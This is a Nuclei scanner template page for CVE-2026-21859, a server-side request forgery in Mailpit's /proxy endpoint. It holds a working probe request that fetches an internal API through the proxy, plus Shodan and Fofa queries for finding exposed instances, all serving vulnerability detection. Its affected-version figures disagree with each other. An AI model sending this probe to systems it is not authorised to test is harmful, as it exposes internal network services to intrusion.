CVE-2026-21859: Mailpit < 1.28.3 - Server-Side Request Forgery
- Template: CVE-2026-21859
- Name: Mailpit < 1.28.3 - Server-Side Request Forgery
- Description: Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
- Impact: Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
- Remediation: Update to version 1.28.1 or later.
- Severity: high
- Authors: omarkurt
- Tags: cve, cve2026, mailpit, axllent, oast, oob, ssrf, vkev, vuln
- References: https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/, https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
- Cves: CVE-2026-21859
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-21859.yaml
- Digest: 4a0a00473045022057e3a55f6f07745748dd6b6831f083541baff96d0131ce3c645a886abc4100fa022100db094b80e5360daa65cf5c5e677a5078708dc7d79bbd9e744e96568094195e1b
- Created at: 2026-01-22T07:21:06Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 306
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-21859.yaml
Classification
- Cwe: CWE-918
- Cvss score: 8.6
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Epss score: 0.00806
- Epss percentile: 0.57731
- Cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="Mailpit"
- Max-request: 1
- Product: mailpit
- Shodan-query: title:"Mailpit"
- Vendor: axllent
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| axllent:mailpit | yes | /v1/products/axllent/mailpit |
Labels
- Name: Mailpit - Server-Side Request Forgery
- Impact: Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
- Remediation: Update to version 1.28.1 or later.
- Vulnerability type: server_side_request_forgery
- Vulnerability impact: server_side_request_forgery, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-21859
- Not known: requirements
```yaml
id: CVE-2026-21859
info:
name: Mailpit < 1.28.3 - Server-Side Request Forgery
author: omarkurt
severity: high
description: |
Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
impact: |
Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
remediation: |
Update to version 1.28.1 or later.
reference:
- https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/
- https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-21859
epss-score: 0.00806
epss-percentile: 0.57731
cwe-id: CWE-918
cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: axllent
product: mailpit
shodan-query: title:"Mailpit"
fofa-query: title="Mailpit"
tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln
http:
- raw:
- |
GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Version"'
- '"Database"'
- '"RuntimeStats"'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
digest: 4a0a00473045022057e3a55f6f07745748dd6b6831f083541baff96d0131ce3c645a886abc4100fa022100db094b80e5360daa65cf5c5e677a5078708dc7d79bbd9e744e96568094195e1b:922c64590222798bb761d5b6d8e72950
```